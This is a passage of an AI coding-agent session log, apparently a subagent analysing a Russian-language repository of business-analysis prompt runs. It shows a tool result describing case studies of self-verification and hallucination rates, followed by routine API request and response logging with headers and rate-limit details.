\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0438, \u0432\u044b\u0447\u0438\u0442\u043a\u0430, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439. \u042d\u0442\u043e \u0434\u0435-\u0444\u0430\u043a\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 `G-self`.\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442** (\u043f\u043e\u043b\u0435 `metrics` \u043f\u0440\u043e\u0433\u043e\u043d\u0430): `episodes: 8`,\\n`ba_edits: 6`, `hallucinations: 8`, **`hallucinations_shipped: 1`**,\\n`success_rate: 0.63`, \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `works-with-edits`. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430:\\n\u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n\\n**\u0427\u0442\u043e \u043a\u0435\u0439\u0441 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442.** \u0420\u043e\u0432\u043d\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 `T-1` \u0438\u0437 [`10-theory.md`](10-theory.md):\\n\u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0444\u043e\u0440\u043c\u0443 \u0438 \u043d\u0435 \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0444\u0430\u043a\u0442. \u0412\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432 \u0441\u0430\u043c\u043e\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f\\n\u043f\u043e\u0439\u043c\u0430\u043b\u0438 \u0432\u043e\u0441\u0435\u043c\u044c \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0434\u0438\u043d \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0449\u0438\u0439 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439 \u0441\u0443\u0442\u044c \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0441 \u043e\u0434\u043d\u0438\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c.\\n\\n**\u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0434\u043b\u044f \u043d\u0430\u0432\u044b\u043a\u0430.** \u0428\u0430\u0433\u0438 2, 4, 5, 6 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (\u0430\u0443\u0434\u0438\u0442,\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b, \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u044f, \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u044f) \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f `G-self`. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0446\u0438\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0441\u0442\u0430\u0442\u044c `G-mach` \u2014 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0441\\n\u0444\u0430\u0439\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e `GATE-2` \u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 `H-3`.\\n\\n## 3. \u041a\u0435\u0439\u0441 `C-2`: \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0433\u0435\u0439\u0442 \u00ab\u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u2194 \u0434\u0435\u043b\u044c\u0442\u0430\u00bb\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 [RUN-0063](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0063)\\n\u2192 [RUN-0064](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0064)\\n(\u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043e\u043a) \u2192 [RUN-0067](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0067)\\n(\u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0430), BCREQ-1074 \u00ab\u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0430 \u0440\u0430\u0441\u0445\u043e\u0434\u043e\u0432 \u043d\u0430 \u0441\u0432\u044f\u0437\u044c\u00bb.\\n\\n**\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e.** \u041f\u0440\u043e\u0433\u043e\u043d `RUN-0063` \u0432\u044b\u0434\u0430\u043b \u0424\u0422, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u044f\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 **\u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e** \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430. \u0420\u0430\u0437\u0431\u043e\u0440\\n`RUN-0064` \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043b 8 \u043e\u0448\u0438\u0431\u043e\u043a: \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u2014 3, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u2014 2, \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 2, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u2014 1.\\n\u041f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0430 `RUN-0067` \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0430 9 \u043d\u0430\u0445\u043e\u0434\u043e\u043a \u0430\u0443\u0434\u0438\u0442\u0430, \u0443\u0434\u0430\u043b\u0438\u043b\u0430 5 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439,\\n\u0441\u0432\u0435\u043b\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043a \u0434\u0435\u043b\u044c\u0442\u0435 \u0438\u0437 8 \u043f\u043e\u043b\u0435\u0439 \u0438 \u0432\u044b\u043d\u0435\u0441\u043b\u0430 9 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0432\\n\u0440\u0430\u0437\u0434\u0435\u043b \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432; `RUN-0063` \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043d\u0435\u0432\u0430\u043b\u0438\u0434\u043d\u044b\u043c.\\n\\n**\u041f\u0435\u0440\u0432\u043e\u043f\u0440\u0438\u0447\u0438\u043d\u0430, \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u0430\u043c\u0438\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c:** \u00ab\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e gate,\",\n[2026-09-29T07:46:23.696Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:23.696Z] [INFO]       }\n[2026-09-29T07:46:23.696Z] [INFO]     ]\n[2026-09-29T07:46:23.696Z] [INFO]   },\n[2026-09-29T07:46:23.696Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"uuid\": \"cbfabf75-3b3c-4f23-8aa8-c95e1c99994a\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:23.385Z\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:23.696Z] [INFO] }\n[2026-09-29T07:46:23.701Z] [STDOUT] [log_c2121d] sending request {\n[2026-09-29T07:46:23.712Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:23.716Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:23.720Z] [STDOUT]   options: {\n[2026-09-29T07:46:23.724Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:23.732Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:23.739Z] [STDOUT]     body: {\n[2026-09-29T07:46:23.743Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:23.747Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:23.750Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:23.753Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:23.757Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:23.766Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:23.769Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:23.774Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:23.777Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:23.780Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:23.782Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:23.784Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:23.788Z] [STDOUT]     },\n[2026-09-29T07:46:23.790Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:23.793Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:23.795Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:23.799Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:23.802Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:23.805Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:23.809Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:23.812Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:23.815Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:23.818Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:23.820Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:23.824Z] [STDOUT]     },\n[2026-09-29T07:46:23.830Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:23.835Z] [STDOUT]   },\n[2026-09-29T07:46:23.838Z] [STDOUT]   headers: {\n[2026-09-29T07:46:23.843Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:23.848Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:23.852Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:23.856Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:23.858Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:23.863Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:23.866Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:23.868Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:23.872Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:23.875Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:46:23.878Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:23.881Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1265\",\n[2026-09-29T07:46:23.884Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:23.888Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:23.892Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:23.895Z] [STDOUT]     \"x-client-request-id\": \"1d693c94-5e19-4290-a25f-cd75dab85469\",\n[2026-09-29T07:46:23.898Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:23.902Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:23.904Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:23.908Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:23.911Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:23.916Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:23.921Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:23.927Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:23.931Z] [STDOUT]   },\n[2026-09-29T07:46:23.935Z] [STDOUT] }\n[2026-09-29T07:46:23.940Z] [INFO] {\n[2026-09-29T07:46:23.940Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:23.940Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:23.940Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:46:23.940Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:23.940Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:23.940Z] [INFO]   \"uuid\": \"e2390c12-9ed6-40d1-a73a-8d70ff409f46\"\n[2026-09-29T07:46:23.940Z] [INFO] }\n[2026-09-29T07:46:24.166Z] [INFO] {\n[2026-09-29T07:46:24.166Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"message\": {\n[2026-09-29T07:46:24.166Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:24.166Z] [INFO]     \"id\": \"msg_011CfXMpyDzRk4dHp9Veunt4\",\n[2026-09-29T07:46:24.166Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:24.166Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:24.166Z] [INFO]     \"content\": [\n[2026-09-29T07:46:24.166Z] [INFO]       {\n[2026-09-29T07:46:24.166Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:24.166Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:24.166Z] [INFO]         \"signature\": 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\"standard\",\n[2026-09-29T07:46:24.166Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:24.166Z] [INFO]     },\n[2026-09-29T07:46:24.166Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:24.166Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:24.166Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:24.166Z] [INFO]   },\n[2026-09-29T07:46:24.166Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"uuid\": \"18c2212d-a0da-4954-ac73-3b3a764a3184\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:24.162Z\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"request_id\": \"req_011CfXMpxgzuQB9F3ayaQXJD\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts 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[INFO]       }\n[2026-09-29T07:46:24.275Z] [INFO]     ],\n[2026-09-29T07:46:24.275Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:24.275Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:24.275Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:24.275Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:24.275Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:24.275Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:24.275Z] [INFO]       \"cache_creation_input_tokens\": 2737,\n[2026-09-29T07:46:24.275Z] [INFO]       \"cache_read_input_tokens\": 28832,\n[2026-09-29T07:46:24.275Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:24.275Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:24.275Z] [INFO]         \"ephemeral_1h_input_tokens\": 2737\n[2026-09-29T07:46:24.275Z] [INFO]       },\n[2026-09-29T07:46:24.275Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:46:24.275Z] [INFO]       \"service_tier\": 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200 in 842ms\n[2026-09-29T07:46:24.291Z] [STDOUT] [log_c2121d] response start {\n[2026-09-29T07:46:24.295Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:24.300Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:24.304Z] [STDOUT]   headers: {\n[2026-09-29T07:46:24.310Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:24.313Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:24.331Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:24.334Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:24.336Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:24.352Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:24.355Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": 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\"DYNAMIC\",\n[2026-09-29T07:46:24.393Z] [STDOUT]     \"cf-ray\": \"a4295fb07ad44d8b-FRA\",\n[2026-09-29T07:46:24.396Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:24.399Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:24.404Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:24.408Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:24.410Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:24 GMT\",\n[2026-09-29T07:46:24.414Z] [STDOUT]     \"request-id\": \"req_011CfXMq5fwHeh7PwErryPp9\",\n[2026-09-29T07:46:24.419Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:24.422Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:24.427Z] [STDOUT]     traceresponse: \"00-cee1394813fbe1f803a3d22a2a699bfb-077e437cfd6538b4-01\",\n[2026-09-29T07:46:24.429Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:24.433Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:24.436Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:24.439Z] [STDOUT]   },\n[2026-09-29T07:46:24.442Z] [STDOUT]   durationMs: 842,\n[2026-09-29T07:46:24.445Z] [STDOUT] }\n[2026-09-29T07:46:24.449Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:24.451Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:24 GMT\",\n[2026-09-29T07:46:24.454Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:24.456Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:24.459Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:24.460Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:24.462Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:24.464Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:24.468Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:24.471Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:24.473Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:24.476Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:24.480Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:24.482Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:24.487Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:24.493Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:24.495Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:24.498Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:24.502Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:24.505Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:24.512Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:24.524Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:24.532Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:24.534Z] [STDOUT]   \"request-id\": \"req_011CfXMq5fwHeh7PwErryPp9\",\n[2026-09-29T07:46:24.538Z] [STDOUT]   \"traceresponse\": \"00-cee1394813fbe1f803a3d22a2a699bfb-077e437cfd6538b4-01\",\n[2026-09-29T07:46:24.544Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:24.553Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:24.555Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:24.560Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:24.565Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:24.569Z] [STDOUT]   \"cf-ray\": \"a4295fb07ad44d8b-FRA\",\n[2026-09-29T07:46:24.572Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:24.576Z] [STDOUT] [log_c2121d] response parsed {\n[2026-09-29T07:46:24.580Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:24.584Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:24.589Z] [STDOUT]   body: X {\n[2026-09-29T07:46:24.593Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:24.601Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:24.607Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:24.616Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:24.620Z] [STDOUT]     },\n[2026-09-29T07:46:24.624Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:24.628Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:24.632Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:24.641Z] [STDOUT]   },\n[2026-09-29T07:46:24.643Z] [STDOUT]   durationMs: 843,\n[2026-09-29T07:46:24.645Z] [STDOUT] }\n[2026-09-29T07:46:24.654Z] [INFO] {\n[2026-09-29T07:46:24.654Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:24.654Z] [INFO]   \"message\": {\n[2026-09-29T07:46:24.654Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:24.654Z] [INFO]     \"id\": \"msg_011CfXMpyDzRk4dHp9Veunt4\",\n[2026-09-29T07:46:24.654Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:24.654Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:24.654Z] [INFO]     \"content\": [\n[2026-09-29T07:46:24.654Z] [INFO]       {\n[2026-09-29T07:46:24.654Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:24.654Z] [INFO]         \"id\": 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research\"\n[2026-09-29T07:46:25.550Z] [INFO] }\n[2026-09-29T07:46:25.912Z] [INFO] {\n[2026-09-29T07:46:25.912Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"message\": {\n[2026-09-29T07:46:25.912Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:25.912Z] [INFO]     \"content\": [\n[2026-09-29T07:46:25.912Z] [INFO]       {\n[2026-09-29T07:46:25.912Z] [INFO]         \"tool_use_id\": \"toolu_018N9qBARTTJ9JJqvVj8GhU7\",\n[2026-09-29T07:46:25.912Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:25.912Z] [INFO]         \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-06-16\\nai-generated: 